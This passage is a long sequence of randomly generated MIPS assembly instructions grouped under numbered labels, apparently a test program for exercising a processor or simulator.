$2, 0($4) TAG220: lbu $2, 0($2) lui $2, 4 mthi $2 sll $0, $0, 0 TAG221: mthi $4 addu $2, $4, $4 mtlo $2 sb $4, 0($2) TAG222: sh $2, 0($2) lbu $4, 0($2) mult $4, $2 mflo $1 TAG223: lh $1, 0($1) lhu $2, 0($1) sub $4, $2, $1 multu $2, $2 TAG224: blez $4, TAG225 addiu $4, $4, 8 lui $3, 1 srlv $2, $4, $4 TAG225: sltiu $1, $2, 11 sll $1, $2, 4 mtlo $2 mfhi $1 TAG226: multu $1, $1 multu $1, $1 mtlo $1 bltz $1, TAG227 TAG227: multu $1, $1 mtlo $1 mult $1, $1 mult $1, $1 TAG228: mtlo $1 mtlo $1 bgtz $1, TAG229 sub $4, $1, $1 TAG229: mthi $4 mfhi $3 bgez $4, TAG230 sra $3, $3, 10 TAG230: andi $2, $3, 1 lh $3, 0($3) lhu $2, 0($2) srlv $2, $3, $2 TAG231: mthi $2 bgez $2, TAG232 lhu $1, 0($2) mfhi $2 TAG232: sb $2, 0($2) xori $1, $2, 8 beq $1, $1, TAG233 lhu $2, 0($1) TAG233: lui $4, 3 lui $4, 15 sb $4, 0($2) mflo $3 TAG234: xori $1, $3, 6 lui $3, 14 bltz $3, TAG235 sll $0, $0, 0 TAG235: mtlo $4 sll $0, $0, 0 xori $3, $4, 7 lui $1, 4 TAG236: bltz $1, TAG237 lui $4, 3 sll $0, $0, 0 divu $1, $4 TAG237: subu $2, $4, $4 addiu $3, $4, 3 divu $2, $3 and $3, $4, $4 TAG238: or $3, $3, $3 sll $2, $3, 11 mfhi $4 mflo $4 TAG239: bltz $4, TAG240 sh $4, 0($4) bgez $4, TAG240 multu $4, $4 TAG240: lw $1, 0($4) mtlo $4 lui $2, 1 mflo $2 TAG241: andi $3, $2, 1 mthi $2 mfhi $2 bne $2, $3, TAG242 TAG242: mflo $4 andi $2, $2, 3 lui $1, 3 sllv $2, $2, $2 TAG243: sb $2, 0($2) lhu $2, 0($2) sh $2, 0($2) beq $2, $2, TAG244 TAG244: lui $2, 14 sll $0, $0, 0 mfhi $2 beq $2, $2, TAG245 TAG245: mthi $2 bne $2, $2, TAG246 addiu $3, $2, 2 multu $3, $2 TAG246: mflo $1 sh $1, 0($3) lh $2, 0($1) srl $1, $3, 11 TAG247: lui $2, 3 addi $2, $1, 8 xori $4, $2, 8 lui $1, 14 TAG248: lui $4, 2 mthi $1 bltz $1, TAG249 sll $0, $0, 0 TAG249: mtlo $4 subu $1, $4, $4 and $4, $4, $1 multu $4, $4 TAG250: bltz $4, TAG251 lh $4, 0($4) srl $2, $4, 0 sw $4, 0($4) TAG251: bne $2, $2, TAG252 mthi $2 lui $2, 12 mflo $2 TAG252: lui $3, 0 bgez $2, TAG253 lui $4, 4 bne $4, $3, TAG253 TAG253: mtlo $4 sll $0, $0, 0 lui $2, 3 mtlo $1 TAG254: mtlo $2 ori $1, $2, 9 beq $1, $2, TAG255 mthi $2 TAG255: beq $1, $1, TAG256 mfhi $4 mfhi $1 lui $3, 6 TAG256: beq $3, $3, TAG257 sh $3, 0($3) beq $3, $3, TAG257 mfhi $1 TAG257: lui $2, 11 xori $1, $2, 8 multu $1, $2 bne $2, $1, TAG258 TAG258: sll $0, $0, 0 mflo $4 mthi $1 slt $3, $1, $4 TAG259: mtlo $3 blez $3, TAG260 mflo $1 lbu $4, 0($1) TAG260: mfhi $1 sb $1, 0($4) sll $0, $0, 0 sll $0, $0, 0 TAG261: sll $0, $0, 0 sltu $3, $1, $1 lw $4, 0($3) bne $4, $1, TAG262 TAG262: and $2, $4, $4 ori $4, $2, 5 sh $4, 0($2) mflo $3 TAG263: lb $4, 0($3) lui $2, 4 blez $2, TAG264 multu $3, $4 TAG264: lui $3, 15 srlv $4, $3, $2 lui $2, 13 slti $2, $2, 8 TAG265: lb $4, 0($2) lui $3, 14 sll $0, $0, 0 mthi $3 TAG266: sll $0, $0, 0 sll $0, $0, 0 mtlo $1 slti $3, $1, 6 TAG267: lb $2, 0($3) mthi $3 multu $3, $2 lhu $1, 0($3) TAG268: mtlo $1 lbu $1, 0($1) bne $1, $1, TAG269 divu $1, $1 TAG269: div $1, $1 mtlo $1 mfhi $2 beq $1, $2, TAG270 TAG270: lui $2, 10 or $2, $2, $2 mflo $4 lui $2, 11 TAG271: blez $2, TAG272 lui $2, 13 sll $0, $0, 0 lw $3, 0($3) TAG272: divu $3, $3 beq $3, $3, TAG273 subu $2, $3, $3 sb $3, 0($3) TAG273: sb $2, 0($2) lb $1, 0($2) lb $3, 0($1) beq $2, $2, TAG274 TAG274: add $3, $3, $3 addiu $1, $3, 8 sb $3, 0($3) ori $3, $3, 4 TAG275: lui $4, 5 srlv $1, $4, $3 sw $4, 0($3) mfhi $4 TAG276: lui $4, 10 sll $0, $0, 0 beq $4, $4, TAG277 sltu $1, $4, $4 TAG277: addu $1, $1, $1 lui $1, 5 div $1, $1 sll $0, $0, 0 TAG278: mthi $1 andi $1, $1, 14 slti $2, $1, 2 mult $1, $1 TAG279: sll $2, $2, 7 lui $1, 2 mthi $2 mfhi $3 TAG280: srav $2, $3, $3 lui $3, 2 bltz $2, TAG281 mtlo $3 TAG281: addiu $2, $3, 11 sll $0, $0, 0 bgez $2, TAG282 sll $0, $0, 0 TAG282: sra $2, $4, 2 sll $0, $0, 0 srlv $4, $2, $4 mtlo $4 TAG283: sll $0, $0, 0 sll $0, $0, 0 beq $4, $4, TAG284 sll $0, $0, 0 TAG284: sll $0, $0, 0 multu $4, $3 bgtz $4, TAG285 mthi $4 TAG285: mfhi $2 sll $0, $0, 0 sll $0, $0, 0 beq $2, $3, TAG286 TAG286: mfhi $3 mthi $2 addu $3, $3, $3 nor $4, $3, $3 TAG287: sll $0, $0, 0 mtlo $4 mthi $4 mtlo $1 TAG288: multu $1, $1 mflo $4 mthi $4 div $4, $1 TAG289: srav $2, $4, $4 mult $4, $4 sllv $1, $2, $2 bne $2, $1, TAG290 TAG290: mult $1, $1 xor $2, $1, $1 mthi $2 lui $4, 13 TAG291: bne $4, $4, TAG292 mflo $2 srav $3, $4, $2 mfhi $2 TAG292: sh $2, 0($2) lb $2, 0($2) blez $2, TAG293 mtlo $2 TAG293: beq $2, $2, TAG294 mtlo $2 mfhi $3 beq $3, $3, TAG294 TAG294: sltiu $2, $3, 8 bltz $3, TAG295 sub $1, $2, $2 subu $1, $3, $3 TAG295: lw $1, 0($1) sb $1, 0($1) beq $1, $1, TAG296 multu $1, $1 TAG296: sltiu $2, $1, 12 mtlo $2 sh $2, 0($1) mult $1, $2 TAG297: andi $1, $2, 14 lb $3, 0($1) beq $2, $2, TAG298 multu $2, $1 TAG298: lui $3, 12 divu $3, $3 beq $3, $3, TAG299 mflo $1 TAG299: srav $2, $1, $1 lui $4, 4 beq $2, $4, TAG300 or $3, $4, $2 TAG300: lui $3, 5 beq $3, $3, TAG301 lui $2, 13 sh $3, 0($3) TAG301: sll $0, $0, 0 xori $2, $2, 2 lui $1, 3 ori $4, $2, 10 TAG302: bne $4, $4, TAG303 mthi $4 lui $4, 14 mfhi $3 TAG303: and $3, $3, $3 mult $3, $3 mfhi $4 bgtz $3, TAG304 TAG304: divu $4, $4 beq $4, $4, TAG305 lw $2, -169($4) lbu $4, 0($2) TAG305: sll $0, $0, 0 bgez $4, TAG306 lui $3, 4 beq $3, $4, TAG306 TAG306: andi $2, $3, 6 bgtz $2, TAG307 subu $1, $2, $3 bltz $3, TAG307 TAG307: multu $1, $1 mfhi $3 sll $0, $0, 0 sltu $3, $1, $4 TAG308: mtlo $3 addu $2, $3, $3 slt $3, $3, $2 sh $2, 0($3) TAG309: lui $3, 3 bne $3, $3, TAG310 mtlo $3 divu $3, $3 TAG310: bgez $3, TAG311 sll $0, $0, 0 lui $4, 5 addiu $3, $2, 0 TAG311: blez $3, TAG312 mflo $1 blez $3, TAG312 addu $1, $1, $1 TAG312: bne $1, $1, TAG313 mflo $3 mthi $3 bgez $3, TAG313 TAG313: mtlo $3 mflo $1 sb $1, 0($1) lbu $2, 0($1) TAG314: lui $1, 13 lui $3, 11 mfhi $3 mfhi $1 TAG315: mfhi $2 sb $2, 0($2) lui $4, 6 mflo $2 TAG316: mult $2, $2 sb $2, 0($2) lbu $1, 0($2) lbu $4, 0($1) TAG317: ori $3, $4, 8 beq $4, $3, TAG318 mfhi $4 lh $3, 0($4) TAG318: multu $3, $3 mflo $1 lhu $3, -256($3) blez $3, TAG319 TAG319: addu $4, $3, $3 multu $3, $4 srav $2, $4, $4 mtlo $2 TAG320: sw $2, -512($2) multu $2, $2 sw $2, -512($2) divu $2, $2 TAG321: sll $0, $0, 0 sll $0, $0, 0 lui $1, 0 mflo $3 TAG322: srl $1, $3, 4 lui $2, 10 lb $4, 0($1) lui $2, 15 TAG323: lui $4, 3 nor $4, $4, $2 bgez $4, TAG324 addu $3, $4, $2 TAG324: blez $3, TAG325 slti $1, $3, 8 mtlo $3 lb $2, 0($3) TAG325: addu $1, $2, $2 sll $0, $0, 0 andi $3, $2, 14 lui $4, 3 TAG326: mflo $1 sll $0, $0, 0 blez $1, TAG327 slti $3, $3, 11 TAG327: sll $4, $3, 7 srl $2, $3, 7 subu $4, $3, $4 multu $2, $2 TAG328: lui $4, 2 sll $0, $0, 0 sll $0, $0, 0 andi $2, $4, 8 TAG329: lui $1, 12 lui $4, 8 multu $1, $2 bltz $4, TAG330 TAG330: mult $4, $4 sll $0, $0, 0 ori $4, $4, 7 bne $4, $4, TAG331 TAG331: sll $0, $0, 0 divu $1, $1 bne $4, $4, TAG332 divu $4, $1 TAG332: lui $1, 8 sll $0, $0, 0 lui $3, 7 andi $2, $1, 9 TAG333: sltu $3, $2, $2 lui $4, 13 subu $2, $2, $2 sb $4, 0($3) TAG334: sb $2, 0($2) sltu $4, $2, $2 sltu $1, $4, $2 xori $3, $4, 3 TAG335: bne $3, $3, TAG336 sll $3, $3, 5 srav $3, $3, $3 bne $3, $3, TAG336 TAG336: sllv $4, $3, $3 lui $4, 13 mthi $4 lui $4, 6 TAG337: multu $4, $4 mthi $4 beq $4, $4, TAG338 mflo $3 TAG338: mtlo $3 mthi $3 and $4, $3, $3 lui $3, 3 TAG339: xori $1, $3, 15 bgez $3, TAG340 sll $0, $0, 0 mflo $3 TAG340: sll $0, $0, 0 sll $0, $0, 0 mult $4, $4 subu $1, $4, $3 TAG341: bgez $1, TAG342 sllv $3, $1, $1 lui $2, 5 mflo $4 TAG342: lui $4, 2 blez $4, TAG343 sll $0, $0, 0 mflo $2 TAG343: sh $2, 0($2) lui $2, 11 sll $0, $0, 0 lui $4, 0 TAG344: sb $4, 0($4) sb $4, 0($4) sw $4, 0($4) mtlo $4 TAG345: bne $4, $4, TAG346 mfhi $1 addi $2, $4, 7 mflo $2 TAG346: lw $2, 0($2) lbu $1, 0($2) mflo $1 sh $1, 0($2) TAG347: sh $1, 0($1) mult $1, $1 sh $1, 0($1) bne $1, $1, TAG348 TAG348: and $1, $1, $1 lw $3, 0($1) addiu $1, $1, 6 lui $2, 9 TAG349: divu $2, $2 subu $1, $2, $2 sll $0, $0, 0 sb $1, 0($1) TAG350: andi $3, $2, 14 sll $0, $0, 0 lui $4, 8 bne $3, $4, TAG351 TAG351: sll $0, $0, 0 bne $4, $4, TAG352 sh $3, 0($3) mflo $3 TAG352: bgtz $3, TAG353 lui $4, 11 mtlo $4 divu $3, $4 TAG353: sltiu $2, $4, 12 multu $4, $2 sll $1, $4, 10 slti $2, $1, 4 TAG354: sh $2, 0($2) sra $2, $2, 14 lh $2, 0($2) mthi $2 TAG355: sw $2, 0($2) lui $2, 15 sltu $1, $2, $2 mult $2, $1 TAG356: bne $1, $1, TAG357 multu $1, $1 lb $1, 0($1) lui $2, 14 TAG357: lui $2, 4 andi $3, $2, 14 mflo $4 mflo $1 TAG358: or $4, $1, $1 mult $1, $1 beq $1, $4, TAG359 sb $4, 0($1) TAG359: bgez $4, TAG360 mflo $3 mthi $4 mflo $4 TAG360: mflo $3 lh $3, 0($3) lhu $4, 0($3) mult $4, $3 TAG361: beq $4, $4, TAG362 mtlo $4 lw $4, 0($4) multu $4, $4 TAG362: lui $4, 13 divu $4, $4 lui $4, 14 bne $4, $4, TAG363 TAG363: divu $4, $4 blez $4, TAG364 mflo $3 lui $2, 3 TAG364: sll $0, $0, 0 srlv $2, $4, $2 blez $2, TAG365 sll $0, $0, 0 TAG365: sll $0, $0, 0 andi $3, $2, 15 bgtz $2, TAG366 mthi $2 TAG366: mult $3, $3 sb $3, 0($3) mtlo $3 mtlo $3 TAG367: xori $3, $3, 12 sltu $2, $3, $3 lui $3, 8 bgtz $3, TAG368 TAG368: sll $0, $0, 0 sll $0, $0, 0 lbu $2, 0($2) sll $0, $0, 0 TAG369: lui $1, 9 beq $1, $1, TAG370 sh $1, 0($2) sh $2, 0($2) TAG370: lui $4, 14 blez $4, TAG371 mult $4, $1 mflo $3 TAG371: sw $3, 0($3) mthi $3 sb $3, 0($3) bne $3, $3, TAG372 TAG372: and $3, $3, $3 lw $2, 0($3) ori $4, $2, 12 bgez $3, TAG373 TAG373: slti $1, $4, 5 slti $1, $1, 6 sb $4, 0($1) bne $4, $1, TAG374 TAG374: mthi $1 sltu $1, $1, $1 mtlo $1 bgez $1, TAG375 TAG375: sw $1, 0($1) mflo $4 sw $1, 0($4) sub $4, $1, $1 TAG376: sra $3, $4, 10 sh $3, 0($4) slti $2, $3, 15 mtlo $4 TAG377: sllv $4, $2, $2 mfhi $1 lb $3, 0($1) bne $2, $4, TAG378 TAG378: sra $3, $3, 9 sb $3, 0($3) lh $2, 0($3) sra $1, $2, 0 TAG379: lb $3, 0($1) sra $2, $3, 13 bne $1, $3, TAG380 xor $3, $3, $2 TAG380: mfhi $3 lb $1, 0($3) bltz $3, TAG381 nor $1, $1, $3 TAG381: andi $1, $1, 6 subu $3, $1, $1 beq $1, $1, TAG382 lui $2, 2 TAG382: addiu $2, $2, 3 mthi $2 bne $2, $2, TAG383 sltu $4, $2, $2 TAG383: lui $3, 7 mflo $4 bgtz $3, TAG384 sll $0, $0, 0 TAG384: multu $4, $4 sltiu $1, $4, 4 lui $1, 10 mflo $2 TAG385: lui $3, 14 mtlo $3 lui $1, 2 mflo $3 TAG386: mthi $3 sll $0, $0, 0 srl $3, $4, 4 sw $4, 0($3) TAG387: bne $3, $3, TAG388 multu $3, $3 blez $3, TAG388 lb $1, 0($3) TAG388: lui $1, 0 mtlo $1 sub $4, $1, $1 beq $1, $1, TAG389 TAG389: mflo $4 bne $4, $4, TAG390 slt $1, $4, $4 addiu $1, $1, 11 TAG390: lbu $3, 0($1) sltiu $4, $3, 15 sb $1, 0($4) mult $3, $3 TAG391: mthi $4 addiu $4, $4, 6 mult $4, $4 or $3, $4, $4 TAG392: mflo $1 divu $1, $3 div $1, $3 multu $3, $3 TAG393: sll $1, $1, 12 lui $1, 13 bltz $1, TAG394 mult $1, $1 TAG394: mflo $4 lui $3, 0 and $2, $4, $3 mfhi $3 TAG395: bne $3, $3, TAG396 lw $4, -169($3) ori $2, $4, 6 lh $4, -2816($4) TAG396: bgtz $4, TAG397 mfhi $3 mthi $3 multu $4, $3 TAG397: div $3, $3 mthi $3 bne $3, $3, TAG398 lhu $3, -169($3) TAG398: blez $3, TAG399 sb $3, -2816($3) mtlo $3 mthi $3 TAG399: bltz $3, TAG400 sb $3, -2816($3) subu $2, $3, $3 lui $2, 10 TAG400: mflo $4 nor $4, $4, $2 sll $0, $0, 0 beq $4, $2, TAG401 TAG401: sllv $4, $4, $4 and $4, $4, $4 lui $4, 12 sll $0, $0, 0 TAG402: bne $3, $3, TAG403 mflo $2 sh $3, -2816($2) mfhi $2 TAG403: subu $3, $2, $2 mflo $4 ori $4, $4, 1 lh $4, -2817($4) TAG404: addu $4, $4, $4 sra $4, $4, 15 bne $4, $4, TAG405 sub $2, $4, $4 TAG405: addiu $3, $2, 5 xori $1, $3, 7 sb $3, 0($1) mthi $3 TAG406: sh $1, 0($1) mult $1, $1 xor $2, $1, $1 mflo $3 TAG407: mflo $3 lhu $4, 0($3) andi $4, $3, 13 sll $3, $3, 12 TAG408: sltiu $1, $3, 14 or $4, $3, $1 lui $2, 15 addiu $3, $4, 0 TAG409: mflo $2 beq $3, $2, TAG410 multu $2, $3 bgez $2, TAG410 TAG410: lhu $3, 0($2) lhu $1, 0($2) srlv $1, $1, $1 lui $4, 4 TAG411: mtlo $4 div $4, $4 bne $4, $4, TAG412 sltu $3, $4, $4 TAG412: lui $3, 0 beq $3, $3, TAG413 lui $1, 14 srl $1, $1, 8 TAG413: divu $1, $1 mflo $3 beq $3, $3, TAG414 lui $3, 1 TAG414: sll $0, $0, 0 bltz $3, TAG415 nor $1, $2, $3 mult $1, $2 TAG415: mthi $1 multu $1, $1 mtlo $1 divu $1, $1 TAG416: bgez $1, TAG417 mthi $1 div $1, $1 sll $0, $0, 0 TAG417: lui $3, 7 bgez $3, TAG418 mfhi $1 mflo $1 TAG418: beq $1, $1, TAG419 lhu $2, 0($1) mfhi $4 mflo $3 TAG419: mflo $4 divu $3, $4 blez $3, TAG420 mflo $4 TAG420: sra $4, $4, 10 lui $1, 8 bgtz $4, TAG421 addiu $4, $4, 1 TAG421: sllv $3, $4, $4 divu $4, $3 bgez $3, TAG422 divu $3, $4 TAG422: sll $0, $0, 0 slti $2, $1, 0 blez $3, TAG423 sll $0, $0, 0 TAG423: mthi $3 lw $2, -898($3) bgez $3, TAG424 sll $0, $0, 0 TAG424: sll $0, $0, 0 bne $2, $2, TAG425 sll $0, $0, 0 mflo $4 TAG425: addu $1, $4, $4 div $4, $4 or $3, $4, $4 lui $1, 5 TAG426: bne $1, $1, TAG427 sll $0, $0, 0 sll $0, $0, 0 mflo $2 TAG427: divu $2, $2 andi $1, $2, 7 mtlo $1 mfhi $1 TAG428: nor $4, $1, $1 bne $4, $1, TAG429 multu $4, $1 blez $4, TAG429 TAG429: sb $4, 1($4) sb $4, 1($4) mtlo $4 bgtz $4, TAG430 TAG430: andi $4, $4, 8 xori $3, $4, 7 bltz $3, TAG431 addu $4, $4, $4 TAG431: mtlo $4 bne $4, $4, TAG432 sw $4, 0($4) blez $4, TAG432 TAG432: multu $4, $4 mfhi $1 lw $3, 0($4) mtlo $3 TAG433: sw $3, 0($3) andi $3, $3, 15 nor $1, $3, $3 sllv $3, $1, $3 TAG434: sb $3, 1($3) sltu $2, $3, $3 sb $2, 1($3) lhu $1, 1($3) TAG435: sll $0, $0, 0 beq $2, $2, TAG436 lui $2, 10 beq $2, $2, TAG436 TAG436: div $2, $2 sll $0, $0, 0 sltu $4, $2, $2 mthi $4 TAG437: sll $1, $4, 6 lui $4, 15 div $1, $4 lbu $1, 0($1) TAG438: lhu $2, 0($1) lui $3, 5 bgez $2, TAG439 sltiu $1, $2, 15 TAG439: sub $1, $1, $1 sw $1, 0($1) mthi $1 sh $1, 0($1) TAG440: mfhi $3 sb $1, 0($3) mtlo $1 sub $1, $1, $1 TAG441: mflo $2 sh $1, 0($2) slt $2, $1, $1 lui $1, 2 TAG442: sltiu $1, $1, 0 mthi $1 mfhi $2 mflo $3 TAG443: sb $3, 0($3) bltz $3, TAG444 mfhi $2 nor $4, $2, $3 TAG444: sh $4, 1($4) mfhi $2 mfhi $2 mtlo $2 TAG445: mult $2, $2 lui $1, 14 bgtz $2, TAG446 divu $2, $1 TAG446: bltz $1, TAG447 mthi $1 beq $1, $1, TAG447 multu $1, $1 TAG447: sll $0, $0, 0 div $3, $1 lh $1, 0($3) beq $1, $1, TAG448 TAG448: lui $3, 12 sra $1, $3, 2 slt $3, $1, $1 subu $3, $3, $1 TAG449: bne $3, $3, TAG450 xor $4, $3, $3 beq $3, $3, TAG450 lui $4, 15 TAG450: sll $0, $0, 0 divu $4, $4 sll $0, $0, 0 mflo $2 TAG451: bgez $2, TAG452 mthi $2 ori $4, $2, 6 sltiu $2, $4, 8 TAG452: mtlo $2 mflo $2 mfhi $4 mtlo $2 TAG453: mthi $4 mfhi $2 lui $1, 11 srav $1, $1, $2 TAG454: sll $0, $0, 0 divu $1, $1 sll $0, $0, 0 subu $3, $1, $1 TAG455: lhu $1, 0($3) multu $3, $3 bne $1, $3, TAG456 or $1, $1, $1 TAG456: div $1, $1 lui $2, 2 mflo $1 bne $2, $2, TAG457 TAG457: mthi $1 addiu $3, $1, 7 mtlo $1 mtlo $3 TAG458: lui $1, 14 sllv $3, $1, $1 slti $4, $3, 12 sll $0, $0, 0 TAG459: mflo $1 xori $1, $1, 4 mthi $4 mflo $1 TAG460: lui $1, 1 sll $0, $0, 0 mflo $3 multu $1, $1 TAG461: lui $3, 12 lui $2, 10 sll $0, $0, 0 mflo $1 TAG462: xori $4, $1, 9 mtlo $4 blez $4, TAG463 lui $4, 7 TAG463: beq $4, $4, TAG464 mthi $4 srl $3, $4, 1 lui $2, 9 TAG464: mtlo $2 lui $3, 9 mfhi $2 lui $3, 1 TAG465: sll $0, $0, 0 sll $0, $0, 0 div $3, $3 mult $3, $3 TAG466: sll $0, $0, 0 sll $0, $0, 0 sltu $1, $3, $3 sltu $2, $3, $1 TAG467: lui $3, 5 mult $2, $2 multu $2, $2 mflo $2 TAG468: lui $2, 15 mtlo $2 bltz $2, TAG469 lui $4, 0 TAG469: and $3, $4, $4 multu $3, $4 mthi $4 lh $2, 0($4) TAG470: sw $2, 1($2) lui $2, 10 mflo $2 sb $2, 0($2) TAG471: mtlo $2 multu $2, $2 bgtz $2, TAG472 mtlo $2 TAG472: beq $2, $2, TAG473 mflo $2 div $2, $2 srav $2, $2, $2 TAG473: mtlo $2 lbu $1, 0($2) bgez $2, TAG474 lui $2, 4 TAG474: mult $2, $2 sll $0, $0, 0 beq $2, $2, TAG475 sll $0, $0, 0 TAG475: bgtz $2, TAG476 sll $4, $2, 5 lb $4, 0($2) andi $4, $2, 6 TAG476: blez $4, TAG477 multu $4, $4 sll $0, $0, 0 lui $2, 10 TAG477: mtlo $2 addu $2, $2, $2 sll $0, $0, 0 lui $3, 9 TAG478: mtlo $3 beq $3, $3, TAG479 sll $0, $0, 0 lui $4, 11 TAG479: nor $1, $4, $4 bltz $1, TAG480 addiu $1, $4, 11 bgez $1, TAG480 TAG480: mthi $1 mflo $2 multu $2, $2 sll $0, $0, 0 TAG481: sll $0, $0, 0 sll $0, $0, 0 mflo $1 bgez $1, TAG482 TAG482: mult $1, $1 lbu $2, 0($1) mflo $2 multu $1, $2 TAG483: sb $2, 0($2) sw $2, 0($2) multu $2, $2 mtlo $2 TAG484: lui $3, 10 mthi $3 lui $2, 8 sll $0, $0, 0 TAG485: multu $4, $4 mflo $2 mult $2, $4 addu $1, $2, $4 TAG486: sll $0, $0, 0 sll $0, $0, 0 sltu $1, $1, $1 mult $1, $1 TAG487: mtlo $1 mflo $3 bne $3, $3, TAG488 mfhi $2 TAG488: bne $2, $2, TAG489 mfhi $4 mfhi $3 lhu $4, 0($4) TAG489: bne $4, $4, TAG490 xor $4, $4, $4 lui $2, 9 sll $0, $0, 0 TAG490: blez $2, TAG491 divu $2, $2 xori $2, $2, 15 beq $2, $2, TAG491 TAG491: mflo $4 sb $4, 0($4) beq $4, $4, TAG492 subu $3, $4, $4 TAG492: mthi $3 lui $3, 3 ori $1, $3, 11 ori $4, $3, 5 TAG493: subu $1, $4, $4 mtlo $4 blez $1, TAG494 multu $1, $1 TAG494: lui $2, 11 addu $1, $2, $2 sll $0, $0, 0 sll $0, $0, 0 TAG495: addiu $4, $2, 2 mfhi $1 bltz $2, TAG496 lui $3, 0 TAG496: multu $3, $3 addi $1, $3, 10 lui $3, 7 subu $2, $3, $1 TAG497: bgez $2, TAG498 ori $2, $2, 13 multu $2, $2 bgez $2, TAG498 TAG498: sll $0, $0, 0 lui $1, 4 lui $4, 9 lui $2, 9 TAG499: bne $2, $2, TAG500 div $2, $2 mtlo $2 div $2, $2 TAG500: xor $1, $2, $2 srlv $4, $2, $2 sh $1, 0($1) divu $4, $2 TAG501: mthi $4 blez $4, TAG502 mthi $4 nor $3, $4, $4 TAG502: lui $3, 11 beq $3, $3, TAG503 mfhi $1 addiu $3, $3, 5 TAG503: sll $0, $0, 0 mflo $3 lbu $1, 0($3) lb $2, 0($3) TAG504: bltz $2, TAG505 lh $3, 0($2) mfhi $4 sh $4, 0($3) TAG505: sll $0, $0, 0 bne $4, $4, TAG506 lui $1, 5 subu $3, $1, $4 TAG506: bgez $3, TAG507 mflo $3 sb $3, 0($3) sb $3, 0($3) TAG507: ori $3, $3, 14 bgtz $3, TAG508 xor $2, $3, $3 mtlo $2 TAG508: sll $4, $2, 8 multu $4, $2 sw $4, 0($2) bgez $4, TAG509 TAG509: lhu $3, 0($4) lbu $4, 0($3) lw $3, 0($4) sb $3, 0($3) TAG510: lui $1, 1 ori $3, $3, 6 mult $3, $1 and $1, $3, $1 TAG511: beq $1, $1, TAG512 lui $1, 9 mult $1, $1 xori $3, $1, 6 TAG512: divu $3, $3 ori $3, $3, 15 multu $3, $3 bne $3, $3, TAG513 TAG513: addiu $2, $3, 14 srav $4, $3, $2 ori $3, $3, 13 lbu $3, 0($3) TAG514: and $4, $3, $3 sub $3, $3, $4 bne $4, $3, TAG515 multu $3, $3 TAG515: mthi $3 subu $1, $3, $3 mtlo $1 sra $3, $3, 9 TAG516: mflo $4 nor $1, $4, $4 mflo $4 mfhi $3 TAG517: beq $3, $3, TAG518 mtlo $3 subu $1, $3, $3 lw $4, 0($3) TAG518: mfhi $2 sub $2, $2, $4 bgtz $2, TAG519 sh $2, 0($2) TAG519: bne $2, $2, TAG520 sh $2, 0($2) mthi $2 multu $2, $2 TAG520: lui $4, 8 mtlo $2 div $2, $4 bne $2, $2, TAG521 TAG521: sll $0, $0, 0 multu $4, $1 sllv $4, $4, $4 bgtz $1, TAG522 TAG522: mtlo $4 sll $0, $0, 0 mthi $4 lui $4, 11 TAG523: bgez $4, TAG524 sll $0, $0, 0 sw $2, 0($2) lw $1, 0($2) TAG524: bgtz $1, TAG525 lw $4, 1($1) mthi $1 mflo $3 TAG525: sll $0, $0, 0 ori $2, $3, 3 lui $2, 1 mfhi $4 TAG526: mflo $1 addiu $1, $4, 6 or $4, $4, $4 addu $1, $4, $4 TAG527: sw $1, 2($1) mfhi $2 mtlo $1 lui $3, 7 TAG528: sll $0, $0, 0 divu $4, $4 sll $0, $0, 0 mthi $3 TAG529: bgtz $4, TAG530 lh $3, 1($4) bne $4, $4, TAG530 lui $4, 1 TAG530: sll $0, $0, 0 sll $2, $4, 15 mflo $2 ori $1, $4, 2 TAG531: bgtz $1, TAG532 mult $1, $1 mthi $1 beq $1, $1, TAG532 TAG532: addiu $1, $1, 13 lui $2, 7 subu $2, $2, $2 mthi $2 TAG533: lui $3, 0 lui $3, 3 sll $0, $0, 0 mult $2, $3 TAG534: sll $0, $0, 0 bgtz $3, TAG535 mfhi $1 mflo $2 TAG535: mtlo $2 mthi $2 srav $4, $2, $2 or $4, $2, $4 TAG536: mtlo $4 lw $2, 0($4) mflo $4 multu $4, $4 TAG537: mflo $4 xor $1, $4, $4 bne $1, $4, TAG538 lui $4, 2 TAG538: lui $3, 6 mthi $4 sll $0, $0, 0 multu $4, $3 TAG539: sll $0, $0, 0 lui $2, 6 divu $2, $3 andi $1, $3, 11 TAG540: andi $4, $1, 3 addu $1, $4, $1 mthi $1 beq $1, $1, TAG541 TAG541: mfhi $2 or $2, $1, $2 mfhi $3 mtlo $1 TAG542: lui $2, 5 mult $3, $2 ori $3, $2, 9 sll $0, $0, 0 TAG543: beq $1, $1, TAG544 multu $1, $1 bgtz $1, TAG544 mflo $2 TAG544: blez $2, TAG545 sllv $1, $2, $2 addu $3, $1, $1 nor $2, $2, $3 TAG545: mtlo $2 addiu $1, $2, 6 bgez $2, TAG546 lui $1, 6 TAG546: multu $1, $1 sll $0, $0, 0 sll $0, $0, 0 sll $0, $0, 0 TAG547: blez $3, TAG548 div $3, $3 beq $3, $3, TAG548 mflo $2 TAG548: sb $2, 0($2) bgez $2, TAG549 lbu $2, 0($2) ori $2, $2, 12 TAG549: mult $2, $2 lui $3, 10 or $4, $3, $2 mfhi $2 TAG550: lb $4, 0($2) mfhi $2 divu $2, $4 mult $4, $2 TAG551: sb $2, 0($2) lui $2, 11 mfhi $2 bne $2, $2, TAG552 TAG552: mfhi $1 bgez $2, TAG553 mflo $2 subu $1, $1, $1 TAG553: bgez $1, TAG554 mtlo $1 bne $1, $1, TAG554 mflo $4 TAG554: sll $2, $4, 7 sh $4, 2($4) sltu $4, $4, $4 lh $3, 256($2) TAG555: slti $3, $3, 3 mult $3, $3 bltz $3, TAG556 sltu $4, $3, $3 TAG556: mfhi $2 lui $3, 0 beq $2, $3, TAG557 sh $3, 0($2) TAG557: mtlo $3 sltu $1, $3, $3 nor $2, $1, $1 beq $1, $3, TAG558 TAG558: mthi $2 lhu $3, 1($2) lui $1, 12 srlv $4, $3, $3 TAG559: lh $4, 0($4) bne $4, $4, TAG560 xori $3, $4, 9 bgtz $4, TAG560 TAG560: addu $1, $3, $3 nor $4, $3, $3 addu $3, $4, $3 bne $4, $3, TAG561 TAG561: multu $3, $3 srav $3, $3, $3 srl $3, $3, 14 sll $0, $0, 0 TAG562: mfhi $1 subu $3, $3, $3 xori $1, $3, 4 multu $1, $3 TAG563: sh $1, 0($1) subu $4, $1, $1 lhu $1, 0($4) blez $1, TAG564 TAG564: lh $2, 0($1) sw $1, 0($2) bne $1, $2, TAG565 lui $4, 9 TAG565: lui $4, 13 sll $0, $0, 0 mfhi $4 mthi $4 TAG566: sra $1, $4, 2 sllv $2, $4, $1 blez $2, TAG567 mtlo $2 TAG567: mult $2, $2 bltz $2, TAG568 srl $1, $2, 0 lui $2, 2 TAG568: lui $4, 2 mthi $4 